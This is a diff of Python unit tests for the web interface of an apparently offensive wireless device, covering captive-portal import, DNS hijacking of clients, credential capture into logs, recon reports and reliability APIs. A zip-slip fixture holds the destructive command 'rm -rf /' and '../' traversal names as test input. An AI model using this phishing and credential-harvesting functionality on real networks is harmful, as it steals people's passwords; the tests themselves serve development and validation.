zf.writestr('../../evil.sh', b'rm -rf /')
|
||||||
|
status, _ = server.h_portals_import(ctx({
|
||||||
|
'name': 'evil', 'data': base64.b64encode(buf.getvalue()).decode()}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
self.assertFalse(os.path.exists('/tmp/evil.sh'))
|
||||||
|
self.assertFalse(os.path.exists(evil and '/etc/passwd.mk8test'))
|
||||||
|
|
||||||
|
def test_import_rejects_garbage(self):
|
||||||
|
status, _ = server.h_portals_import(ctx({
|
||||||
|
'name': 'junk', 'data': base64.b64encode(b'not a zip').decode()}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
status, _ = server.h_portals_import(ctx({}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
|
||||||
|
def test_import_overwrites_same_name(self):
|
||||||
|
data = base64.b64encode(make_zip({
|
||||||
|
'index.php': INDEX_PHP})).decode()
|
||||||
|
s1, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data}))
|
||||||
|
data2 = base64.b64encode(make_zip({
|
||||||
|
'index.php': INDEX_PHP, 'extra.txt': b'x'})).decode()
|
||||||
|
s2, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data2}))
|
||||||
|
self.assertEqual((s1, s2), (200, 200))
|
||||||
|
self.assertTrue(os.path.isfile(
|
||||||
|
os.path.join(self.tmp, 'dup', 'extra.txt')))
|
||||||
|
|
||||||
|
# ---- list / activate / delete ----
|
||||||
|
|
||||||
|
def _import_one(self, name='p1'):
|
||||||
|
status, payload = server.h_portals_import(ctx({
|
||||||
|
'name': name, 'data': base64.b64encode(make_zip(
|
||||||
|
{'index.php': INDEX_PHP})).decode()}))
|
||||||
|
assert status == 200, payload
|
||||||
|
return name
|
||||||
|
|
||||||
|
def test_list_reports_portals_and_active(self):
|
||||||
|
self._import_one('alpha')
|
||||||
|
status, payload = server.h_portals_list(ctx())
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
names = [p['name'] for p in payload['portals']]
|
||||||
|
self.assertIn('alpha', names)
|
||||||
|
self.assertIsNone(payload['active'])
|
||||||
|
|
||||||
|
def test_activate_starts_dns_hijack_and_persists(self):
|
||||||
|
name = self._import_one()
|
||||||
|
status, payload = server.h_portals_activate(ctx(args=(name,)))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(self.hijacks, [True])
|
||||||
|
with open(server.PORTAL_ACTIVE_FILE) as f:
|
||||||
|
self.assertEqual(f.read().strip(), name)
|
||||||
|
status, payload = server.h_portals_list(ctx())
|
||||||
|
self.assertEqual(payload['active'], name)
|
||||||
|
|
||||||
|
def test_activate_unknown_portal_404(self):
|
||||||
|
status, _ = server.h_portals_activate(ctx(args=('ghost',)))
|
||||||
|
self.assertEqual(status, 404)
|
||||||
|
|
||||||
|
def test_deactivate_stops_hijack(self):
|
||||||
|
name = self._import_one()
|
||||||
|
server.h_portals_activate(ctx(args=(name,)))
|
||||||
|
status, payload = server.h_portals_deactivate(ctx())
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(self.hijacks, [True, False])
|
||||||
|
_, payload = server.h_portals_list(ctx())
|
||||||
|
self.assertIsNone(payload['active'])
|
||||||
|
|
||||||
|
def test_delete_active_portal_deactivates_first(self):
|
||||||
|
name = self._import_one()
|
||||||
|
server.h_portals_activate(ctx(args=(name,)))
|
||||||
|
status, _ = server.h_portals_delete(ctx(args=(name,)))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertFalse(os.path.exists(os.path.join(self.tmp, name)))
|
||||||
|
self.assertEqual(self.hijacks, [True, False])
|
||||||
|
|
||||||
|
def test_restore_on_boot_reapplies_hijack(self):
|
||||||
|
name = self._import_one()
|
||||||
|
with open(server.PORTAL_ACTIVE_FILE, 'w') as f:
|
||||||
|
f.write(name + '\n')
|
||||||
|
server._portal_restore_on_boot()
|
||||||
|
self.assertEqual(self.hijacks, [True])
|
||||||
|
self.assertEqual(server._portal_active['name'], name)
|
||||||
|
|
||||||
|
# ---- php shim ----
|
||||||
|
|
||||||
|
def test_php_shim_substitutes_client_values(self):
|
||||||
|
old_leases = server._dhcp_leases
|
||||||
|
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF', 'victim-pc')}
|
||||||
|
try:
|
||||||
|
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5',
|
||||||
|
'http://login.example.com/')
|
||||||
|
finally:
|
||||||
|
server._dhcp_leases = old_leases
|
||||||
|
self.assertNotIn('<?php', out)
|
||||||
|
self.assertNotIn('<%=', out)
|
||||||
|
self.assertNotIn('<?=', out)
|
||||||
|
self.assertIn('value="victim-pc"', out)
|
||||||
|
self.assertIn('value="AA:BB:CC:DD:EE:FF"', out)
|
||||||
|
self.assertIn('value="10.0.0.5"', out)
|
||||||
|
self.assertIn('value="http://login.example.com/"', out)
|
||||||
|
|
||||||
|
def test_php_shim_escapes_quotes_in_lease_values(self):
|
||||||
|
old_leases = server._dhcp_leases
|
||||||
|
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF',
|
||||||
|
'vic"tim')}
|
||||||
|
try:
|
||||||
|
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5', 'http://x/')
|
||||||
|
finally:
|
||||||
|
server._dhcp_leases = old_leases
|
||||||
|
self.assertIn('value="vic"tim"', out)
|
||||||
|
|
||||||
|
# ---- capture ----
|
||||||
|
|
||||||
|
def test_capture_writes_logs_and_jsonl(self):
|
||||||
|
name = self._import_one('credtrap')
|
||||||
|
server._portal_capture(b'email=a@b.c&password=hunter2&submit=Log+In',
|
||||||
|
'10.0.0.9', name)
|
||||||
|
logs_path = os.path.join(self.tmp, 'credtrap', '.logs')
|
||||||
|
with open(logs_path) as f:
|
||||||
|
text = f.read()
|
||||||
|
self.assertIn('email: a@b.c', text)
|
||||||
|
self.assertIn('password: hunter2', text)
|
||||||
|
self.assertIn('[', text)
|
||||||
|
with open(server.PORTAL_CAPTURES_FILE) as f:
|
||||||
|
entries = [json.loads(line) for line in f if line.strip()]
|
||||||
|
self.assertEqual(len(entries), 1)
|
||||||
|
self.assertEqual(entries[0]['fields']['password'], 'hunter2')
|
||||||
|
self.assertEqual(entries[0]['ip'], '10.0.0.9')
|
||||||
|
self.assertEqual(entries[0]['portal'], 'credtrap')
|
||||||
|
|
||||||
|
def test_captures_endpoint_lists_newest_first_and_clears(self):
|
||||||
|
name = self._import_one()
|
||||||
|
server._portal_capture(b'a=1', '10.0.0.1', name)
|
||||||
|
server._portal_capture(b'a=2', '10.0.0.2', name)
|
||||||
|
status, payload = server.h_portals_captures(ctx(query={'limit': 200}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(payload['total'], 2)
|
||||||
|
self.assertEqual(payload['captures'][0]['fields']['a'], '2')
|
||||||
|
status, _ = server.h_portals_captures_clear(ctx())
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
_, payload = server.h_portals_captures(ctx(query={}))
|
||||||
|
self.assertEqual(payload['total'], 0)
|
||||||
|
|
||||||
|
def test_logs_download_returns_file(self):
|
||||||
|
name = self._import_one()
|
||||||
|
server._portal_capture(b'a=1', '10.0.0.1', name)
|
||||||
|
status, payload = server.h_portal_logs(ctx(args=(name,)))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(payload.filename, '%s.logs.txt' % name)
|
||||||
|
self.assertIn(b'a: 1', payload.data)
|
||||||
|
|
||||||
|
def test_logs_download_404_when_empty(self):
|
||||||
|
name = self._import_one()
|
||||||
|
status, _ = server.h_portal_logs(ctx(args=(name,)))
|
||||||
|
self.assertEqual(status, 404)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -1164,6 +1164,16 @@ class ReconReportTest(unittest.TestCase):
|
|||||||
self.assertIn('AE:77:C0:EB:31:41', text)
|
self.assertIn('AE:77:C0:EB:31:41', text)
|
||||||
self.assertIn('handshake', text)
|
self.assertIn('handshake', text)
|
||||||
self.assertNotIn('ProbeOnlySSID', text)
|
self.assertNotIn('ProbeOnlySSID', text)
|
||||||
|
def test_html_download_orders_strongest_signal_first(self):
|
||||||
|
with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
|
||||||
|
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
text = payload.data.decode('utf-8')
|
||||||
|
# Fixture: hidden AP at -64 dBm is stronger than Anderson-5 at -76 dBm.
|
||||||
|
strong = '50:6F:9A:01:00:00'
|
||||||
|
weak = 'C8:9E:43:64:80:80'
|
||||||
|
self.assertLess(text.index(strong), text.index(weak))
|
||||||
|
|
||||||
def test_html_report_includes_gps_when_locked(self):
|
def test_html_report_includes_gps_when_locked(self):
|
||||||
with mock.patch.object(server, '_gps_status_data',
|
with mock.patch.object(server, '_gps_status_data',
|
||||||
return_value={'lock': True, 'lat': 37.7,
|
return_value={'lock': True, 'lat': 37.7,
|
||||||
|
|||||||
@@ -0,0 +1,243 @@
|
|||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
|
||||||
|
'user', 'remote_access', 'pager-webui'))
|
||||||
|
import server
|
||||||
|
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
__import__('importlib').reload(server)
|
||||||
|
|
||||||
|
|
||||||
|
class _Ctx(object):
|
||||||
|
def __init__(self, body=None):
|
||||||
|
self.body = body
|
||||||
|
|
||||||
|
|
||||||
|
class ReliabilityApiTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.runs = []
|
||||||
|
self.old_device_run = server.device_run
|
||||||
|
server._health.update({
|
||||||
|
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
|
||||||
|
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
self.runs.append((list(args), timeout))
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
server.device_run = fake_run
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.device_run = self.old_device_run
|
||||||
|
import mk8_guard
|
||||||
|
mk8_guard._GR_CACHE['data'] = None
|
||||||
|
|
||||||
|
def test_h_health_exposes_reliability_feed(self):
|
||||||
|
status, h = server.h_health(None)
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
for key in ('reliability', 'events', 'guard'):
|
||||||
|
self.assertIn(key, h)
|
||||||
|
for counter in ('boots', 'unexpected_boots', 'rollbacks',
|
||||||
|
'restarts', 'guard_fixes'):
|
||||||
|
self.assertIn(counter, h['reliability'])
|
||||||
|
self.assertIsInstance(h['events'], list)
|
||||||
|
self.assertIn('in_sync', h['guard'])
|
||||||
|
self.assertIn('pool_size', h['guard'])
|
||||||
|
|
||||||
|
def test_check_boot_marker_uses_module_marker_path(self):
|
||||||
|
import tempfile
|
||||||
|
marker = tempfile.mktemp()
|
||||||
|
old = server.BOOT_MARKER
|
||||||
|
server.BOOT_MARKER = marker
|
||||||
|
try:
|
||||||
|
if os.path.exists(marker):
|
||||||
|
os.unlink(marker)
|
||||||
|
self.assertFalse(server.check_boot_marker())
|
||||||
|
self.assertTrue(os.path.exists(marker),
|
||||||
|
'check_boot_marker must use server.BOOT_MARKER')
|
||||||
|
open(marker, 'w').write('0')
|
||||||
|
self.assertTrue(server.check_boot_marker())
|
||||||
|
finally:
|
||||||
|
if os.path.exists(marker):
|
||||||
|
os.unlink(marker)
|
||||||
|
server.BOOT_MARKER = old
|
||||||
|
|
||||||
|
def test_clean_cycle_boot_shutdown_next_boot_not_unexpected(self):
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import mk8_events as events_mod
|
||||||
|
marker = tempfile.mktemp()
|
||||||
|
old = (server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
|
||||||
|
server._recon_hopper_stop, events_mod.mark_boot)
|
||||||
|
stops = (threading.Event(), threading.Event(), threading.Event())
|
||||||
|
server.BOOT_MARKER = marker
|
||||||
|
server.LIVE_STOP, server.HEALTH_STOP, \
|
||||||
|
server._recon_hopper_stop = stops
|
||||||
|
booted = []
|
||||||
|
events_mod.mark_boot = \
|
||||||
|
lambda unexpected=False: booted.append(unexpected)
|
||||||
|
try:
|
||||||
|
# Simulate a previous run's marker left behind: boot is unexpected.
|
||||||
|
open(marker, 'w').write('0')
|
||||||
|
self.assertTrue(server.check_boot_marker())
|
||||||
|
self.assertEqual(booted, [True])
|
||||||
|
# Clean shutdown clears the marker...
|
||||||
|
self.assertTrue(os.path.exists(marker))
|
||||||
|
server._request_shutdown()
|
||||||
|
self.assertFalse(os.path.exists(marker),
|
||||||
|
'graceful shutdown must clear the boot marker')
|
||||||
|
for ev in stops:
|
||||||
|
self.assertTrue(ev.is_set())
|
||||||
|
# ...so the next boot is clean and re-arms the marker.
|
||||||
|
self.assertFalse(server.check_boot_marker())
|
||||||
|
self.assertEqual(booted[-1], False)
|
||||||
|
self.assertTrue(os.path.exists(marker))
|
||||||
|
# _clear_boot_marker is best-effort on missing/None markers.
|
||||||
|
server._clear_boot_marker()
|
||||||
|
self.assertFalse(os.path.exists(marker))
|
||||||
|
server.BOOT_MARKER = None
|
||||||
|
server._clear_boot_marker()
|
||||||
|
finally:
|
||||||
|
(server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
|
||||||
|
server._recon_hopper_stop, events_mod.mark_boot) = old
|
||||||
|
if os.path.exists(marker):
|
||||||
|
os.unlink(marker)
|
||||||
|
|
||||||
|
def test_profile_routes_registered(self):
|
||||||
|
handler, _ = server.ROUTER.dispatch('GET',
|
||||||
|
'/api/reliability/profiles')
|
||||||
|
self.assertEqual(handler, server.h_profiles_get)
|
||||||
|
handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/profile')
|
||||||
|
self.assertEqual(handler, server.h_profile_save)
|
||||||
|
handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/restore')
|
||||||
|
self.assertEqual(handler, server.h_profile_restore)
|
||||||
|
handler, _ = server.ROUTER.dispatch('GET', '/api/reliability/nope')
|
||||||
|
self.assertIsNone(handler)
|
||||||
|
|
||||||
|
def test_h_profiles_get_lists_profiles(self):
|
||||||
|
import mk8_profiles
|
||||||
|
old = mk8_profiles.list_profiles
|
||||||
|
mk8_profiles.list_profiles = lambda: ['a', 'b']
|
||||||
|
try:
|
||||||
|
status, data = server.h_profiles_get(None)
|
||||||
|
finally:
|
||||||
|
mk8_profiles.list_profiles = old
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(data, {'profiles': ['a', 'b']})
|
||||||
|
|
||||||
|
def test_h_profile_save_validates_saves_and_journals(self):
|
||||||
|
import mk8_events
|
||||||
|
import mk8_profiles
|
||||||
|
calls = {'snapshots': []}
|
||||||
|
events = []
|
||||||
|
old_snapshot, old_log = mk8_profiles.snapshot, mk8_events.log_event
|
||||||
|
|
||||||
|
def fake_snapshot(name):
|
||||||
|
if not all(c.isalnum() or c in '._-' for c in name) \
|
||||||
|
or name in ('.', '..') or len(name) > 64:
|
||||||
|
raise ValueError('invalid profile name')
|
||||||
|
calls['snapshots'].append(name)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def fake_log(kind, **kw):
|
||||||
|
events.append((kind, kw))
|
||||||
|
|
||||||
|
mk8_profiles.snapshot = fake_snapshot
|
||||||
|
mk8_events.log_event = fake_log
|
||||||
|
try:
|
||||||
|
status, data = server.h_profile_save(_Ctx({'name': ' pre-x-1 '}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(data, {'ok': True})
|
||||||
|
self.assertEqual(calls['snapshots'], ['pre-x-1'])
|
||||||
|
self.assertEqual(events[-1][0], 'profile_save')
|
||||||
|
|
||||||
|
status, data = server.h_profile_save(_Ctx({'name': ' '}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
self.assertIn('error', data)
|
||||||
|
|
||||||
|
status, data = server.h_profile_save(_Ctx({'name': '../evil'}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
self.assertIn('error', data)
|
||||||
|
self.assertEqual(calls['snapshots'], ['pre-x-1'])
|
||||||
|
|
||||||
|
status, data = server.h_profile_save(_Ctx({}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
|
||||||
|
def failed_snapshot(name):
|
||||||
|
calls['snapshots'].append(name)
|
||||||
|
return False
|
||||||
|
mk8_profiles.snapshot = failed_snapshot
|
||||||
|
status, data = server.h_profile_save(_Ctx({'name': 'p2'}))
|
||||||
|
self.assertEqual(status, 502)
|
||||||
|
self.assertFalse(data['ok'])
|
||||||
|
self.assertEqual(events[-1][0], 'profile_save')
|
||||||
|
self.assertEqual(events[-1][1].get('sev'), 'warn')
|
||||||
|
finally:
|
||||||
|
mk8_profiles.snapshot = old_snapshot
|
||||||
|
mk8_events.log_event = old_log
|
||||||
|
|
||||||
|
def test_h_profile_restore_gated_reload_journal(self):
|
||||||
|
import mk8_gate
|
||||||
|
import mk8_events
|
||||||
|
import mk8_profiles
|
||||||
|
calls = {'gate': [], 'events': []}
|
||||||
|
olds = (mk8_gate.enter, mk8_profiles.restore, mk8_events.log_event)
|
||||||
|
|
||||||
|
def fake_enter(op):
|
||||||
|
calls['gate'].append(op)
|
||||||
|
return 'snap-1'
|
||||||
|
|
||||||
|
def fake_restore(name):
|
||||||
|
calls['restored'] = name
|
||||||
|
return {'ok': True, 'restored': ['wireless']}
|
||||||
|
|
||||||
|
def fake_log(kind, **kw):
|
||||||
|
calls['events'].append((kind, kw))
|
||||||
|
|
||||||
|
mk8_gate.enter = fake_enter
|
||||||
|
mk8_profiles.restore = fake_restore
|
||||||
|
mk8_events.log_event = fake_log
|
||||||
|
try:
|
||||||
|
status, result = server.h_profile_restore(_Ctx({'name': 'p1'}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(result, {'ok': True, 'restored': ['wireless']})
|
||||||
|
self.assertEqual(calls['gate'], ['restore_profile'])
|
||||||
|
self.assertEqual(calls['restored'], 'p1')
|
||||||
|
reloads = [r for r in self.runs if r[0][:2] == ['wifi', 'reload']]
|
||||||
|
self.assertEqual(len(reloads), 1)
|
||||||
|
# post-restore convergence parks the factory-enabled dummy STA
|
||||||
|
parked = [r for r in self.runs
|
||||||
|
if r[0][:3] == ['uci', 'set',
|
||||||
|
'wireless.dummy_radio0.disabled=1']]
|
||||||
|
self.assertEqual(len(parked), 1)
|
||||||
|
downs = [r for r in self.runs if r[0][:4] == ['ip', 'link',
|
||||||
|
'set', 'wlan0']]
|
||||||
|
self.assertTrue(downs)
|
||||||
|
raises = [r for r in self.runs if r[0][:4] == ['ip', 'link',
|
||||||
|
'set', 'wlan0mon']]
|
||||||
|
self.assertTrue(raises)
|
||||||
|
self.assertEqual(calls['events'][-1][0], 'profile_restore')
|
||||||
|
|
||||||
|
def missing_restore(name):
|
||||||
|
calls['restored'] = name
|
||||||
|
return {'ok': False, 'restored': [], 'error': 'not found'}
|
||||||
|
mk8_profiles.restore = missing_restore
|
||||||
|
status, result = server.h_profile_restore(
|
||||||
|
_Ctx({'name': 'missing'}))
|
||||||
|
self.assertEqual(status, 502)
|
||||||
|
self.assertFalse(result['ok'])
|
||||||
|
self.assertEqual(calls['events'][-1][0], 'profile_restore')
|
||||||
|
self.assertEqual(calls['events'][-1][1].get('sev'), 'warn')
|
||||||
|
|
||||||
|
status, result = server.h_profile_restore(_Ctx({'name': ''}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
finally:
|
||||||
|
(mk8_gate.enter, mk8_profiles.restore,
|
||||||
|
mk8_events.log_event) = olds
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
+15
-1
@@ -43,6 +43,20 @@ class StatusTest(unittest.TestCase):
|
|||||||
d = server.disk_data()
|
d = server.disk_data()
|
||||||
self.assertEqual(d['avail'], 7364608 * 1024)
|
self.assertEqual(d['avail'], 7364608 * 1024)
|
||||||
|
|
||||||
|
def test_mem_parses_meminfo(self):
|
||||||
|
import tempfile
|
||||||
|
base = tempfile.mkdtemp()
|
||||||
|
with open(os.path.join(base, 'meminfo'), 'w') as f:
|
||||||
|
f.write('MemTotal: 262144 kB\nMemFree: 102400 kB\nMemAvailable: 122880 kB\nBuffers: 20480 kB\n')
|
||||||
|
d = server.mem_data(os.path.join(base, 'meminfo'))
|
||||||
|
self.assertEqual(d['size'], 262144 * 1024)
|
||||||
|
self.assertEqual(d['used'], (262144 - 122880) * 1024)
|
||||||
|
self.assertEqual(d['avail'], 122880 * 1024)
|
||||||
|
|
||||||
|
def test_mem_missing_returns_empty(self):
|
||||||
|
import tempfile
|
||||||
|
self.assertEqual(server.mem_data(os.path.join(tempfile.mkdtemp(), 'nope')), {})
|
||||||
|
|
||||||
def test_wifi_ifaces_extracts_names(self):
|
def test_wifi_ifaces_extracts_names(self):
|
||||||
server.device_run = lambda args, timeout=20: (0, 'wlan0 ESSID: "Pineapple"\nwlan1 ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '')
|
server.device_run = lambda args, timeout=20: (0, 'wlan0 ESSID: "Pineapple"\nwlan1 ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '')
|
||||||
self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1'])
|
self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1'])
|
||||||
@@ -89,7 +103,7 @@ class StatusTest(unittest.TestCase):
|
|||||||
args = ()
|
args = ()
|
||||||
status, payload = server.h_status(Ctx())
|
status, payload = server.h_status(Ctx())
|
||||||
self.assertEqual(status, 200)
|
self.assertEqual(status, 200)
|
||||||
for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'uptime', 'hostname'):
|
for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'mem', 'uptime', 'hostname'):
|
||||||
self.assertIn(k, payload)
|
self.assertIn(k, payload)
|
||||||
|
|
||||||
def test_status_discovers_wifi_interfaces_once(self):
|
def test_status_discovers_wifi_interfaces_once(self):
|
||||||
|
|||||||
@@ -0,0 +1,359 @@
|
|||||||
|
"""Regression tests for validation-suite findings (#1-#5).
|
||||||
|
|
||||||
|
#1 portal zip import without zipfile/pathlib/urllib (python3-light)
|
||||||
|
#2 DNS hijack uses uci add_list/del_list (list option, not string option)
|
||||||
|
#3 radio1 attack APs are bridged into br-lan (uci ports list + runtime brctl)
|
||||||
|
#4 5 GHz WPA deploys restart pineapd after setting mgmtiface so handshake
|
||||||
|
logging engages (reload is not enough)
|
||||||
|
#5 enterprise deploy links ctrl then restarts pineapd (not reload) so
|
||||||
|
PineAPE auth-pass events reach recon.db
|
||||||
|
"""
|
||||||
|
import base64
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
|
||||||
|
'user', 'remote_access', 'pager-webui'))
|
||||||
|
import server
|
||||||
|
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
__import__('importlib').reload(server)
|
||||||
|
|
||||||
|
|
||||||
|
def ctx(body=None):
|
||||||
|
return type('C', (), {'body': body or {}, 'args': (), 'query': {}})()
|
||||||
|
|
||||||
|
|
||||||
|
class FakeUciDevice:
|
||||||
|
"""In-memory uci + device_run fake with add_list/del_list support."""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.state = {}
|
||||||
|
self.lists = {}
|
||||||
|
self.runs = []
|
||||||
|
self.sock = []
|
||||||
|
|
||||||
|
def device_run(self, args, timeout=20, input_data=None):
|
||||||
|
self.runs.append((list(args), input_data))
|
||||||
|
a = list(args)
|
||||||
|
if a[:2] == ['uci', 'set']:
|
||||||
|
k, _, v = a[2].partition('=')
|
||||||
|
self.state[k] = v
|
||||||
|
elif a[:2] == ['uci', 'add_list']:
|
||||||
|
k, _, v = a[2].partition('=')
|
||||||
|
self.lists.setdefault(k, [])
|
||||||
|
if v not in self.lists[k]:
|
||||||
|
self.lists[k].append(v)
|
||||||
|
elif a[:2] == ['uci', 'del_list']:
|
||||||
|
k, _, v = a[2].partition('=')
|
||||||
|
lst = self.lists.get(k, [])
|
||||||
|
if v in lst:
|
||||||
|
lst.remove(v)
|
||||||
|
elif a[:2] == ['uci', 'get']:
|
||||||
|
return (0, self.state.get(a[2], '') + '\n', '')
|
||||||
|
elif a[:2] == ['uci', 'delete']:
|
||||||
|
for k in list(self.state):
|
||||||
|
if k == a[2] or k.startswith(a[2] + '.'):
|
||||||
|
del self.state[k]
|
||||||
|
self.lists.pop(a[2], None)
|
||||||
|
elif a[:2] == ['uci', 'show']:
|
||||||
|
sec = a[2]
|
||||||
|
out = ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
||||||
|
if k == sec or k.startswith(sec + '.'))
|
||||||
|
return (0, out, '')
|
||||||
|
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
|
||||||
|
return (0, 'state=ENABLED\nssid[0]=test\n', '')
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
def daemon_sock_call(self, method, path, body=None, timeout=10):
|
||||||
|
self.sock.append((method, path, body))
|
||||||
|
if path == '/api/pineap/hostapd/get_config':
|
||||||
|
return 200, {'pineape_disabled': False,
|
||||||
|
'pineape_auth_pass': True}
|
||||||
|
return 200, {'success': True}
|
||||||
|
|
||||||
|
|
||||||
|
INDEX_PHP = b'<html><form method="post"><input name="email"></form></html>'
|
||||||
|
|
||||||
|
|
||||||
|
def make_zip(files, top_dir=None):
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, 'w') as zf:
|
||||||
|
for name, data in files.items():
|
||||||
|
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
|
||||||
|
return buf.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
class BlockZipfile:
|
||||||
|
"""Import hook that simulates python3-light: no zipfile module."""
|
||||||
|
|
||||||
|
def find_module(self, fullname, path=None): # noqa: D401 (legacy hook ok)
|
||||||
|
return self if fullname == 'zipfile' else None
|
||||||
|
|
||||||
|
def find_spec(self, fullname, path=None, target=None):
|
||||||
|
if fullname == 'zipfile':
|
||||||
|
raise ImportError('No module named \'zipfile\'')
|
||||||
|
return None
|
||||||
|
|
||||||
|
def load_module(self, fullname):
|
||||||
|
raise ImportError('No module named \'zipfile\'')
|
||||||
|
|
||||||
|
|
||||||
|
class DnsHijackListOpsTest(unittest.TestCase):
|
||||||
|
"""#2: hijack must use uci list ops so dnsmasq init sees the option."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.f = FakeUciDevice()
|
||||||
|
self.old_run = server.device_run
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.device_run = self.old_run
|
||||||
|
|
||||||
|
def test_enable_uses_add_list_never_set(self):
|
||||||
|
server._portal_dns_hijack(True)
|
||||||
|
cmds = [r[0] for r in self.f.runs]
|
||||||
|
add = [c for c in cmds if c[:2] == ['uci', 'add_list']]
|
||||||
|
self.assertEqual(len(add), 1)
|
||||||
|
self.assertTrue(add[0][2].startswith('dhcp.@dnsmasq[0].address=/#/'))
|
||||||
|
self.assertNotIn(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/172.16.52.1'],
|
||||||
|
cmds)
|
||||||
|
|
||||||
|
def test_enable_is_idempotent_del_before_add(self):
|
||||||
|
server._portal_dns_hijack(True)
|
||||||
|
server._portal_dns_hijack(True)
|
||||||
|
adds = [r for r, _ in self.f.runs
|
||||||
|
if r[:2] == ['uci', 'add_list']]
|
||||||
|
dels = [r for r, _ in self.f.runs
|
||||||
|
if r[:2] == ['uci', 'del_list']]
|
||||||
|
self.assertEqual(len(adds), 2)
|
||||||
|
self.assertEqual(len(dels), 2)
|
||||||
|
self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'),
|
||||||
|
['/#/172.16.52.1'])
|
||||||
|
|
||||||
|
def test_disable_removes_entry_and_restarts_dnsmasq(self):
|
||||||
|
server._portal_dns_hijack(True)
|
||||||
|
before = len(self.f.runs)
|
||||||
|
server._portal_dns_hijack(False)
|
||||||
|
tail = [r for r, _ in self.f.runs[before:]]
|
||||||
|
self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'), [])
|
||||||
|
self.assertIn(['/etc/init.d/dnsmasq', 'restart'], tail)
|
||||||
|
|
||||||
|
|
||||||
|
class ZipImportWithoutZipfileTest(unittest.TestCase):
|
||||||
|
"""#1: import must work where zipfile/pathlib/urllib are absent."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.tmp = tempfile.mkdtemp(prefix='mk8-fix1-')
|
||||||
|
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
|
||||||
|
server.PORTAL_CAPTURES_FILE)
|
||||||
|
server.PORTALS_DIR = self.tmp
|
||||||
|
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
|
||||||
|
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
|
||||||
|
server.PORTAL_CAPTURES_FILE = self.old
|
||||||
|
shutil.rmtree(self.tmp, ignore_errors=True)
|
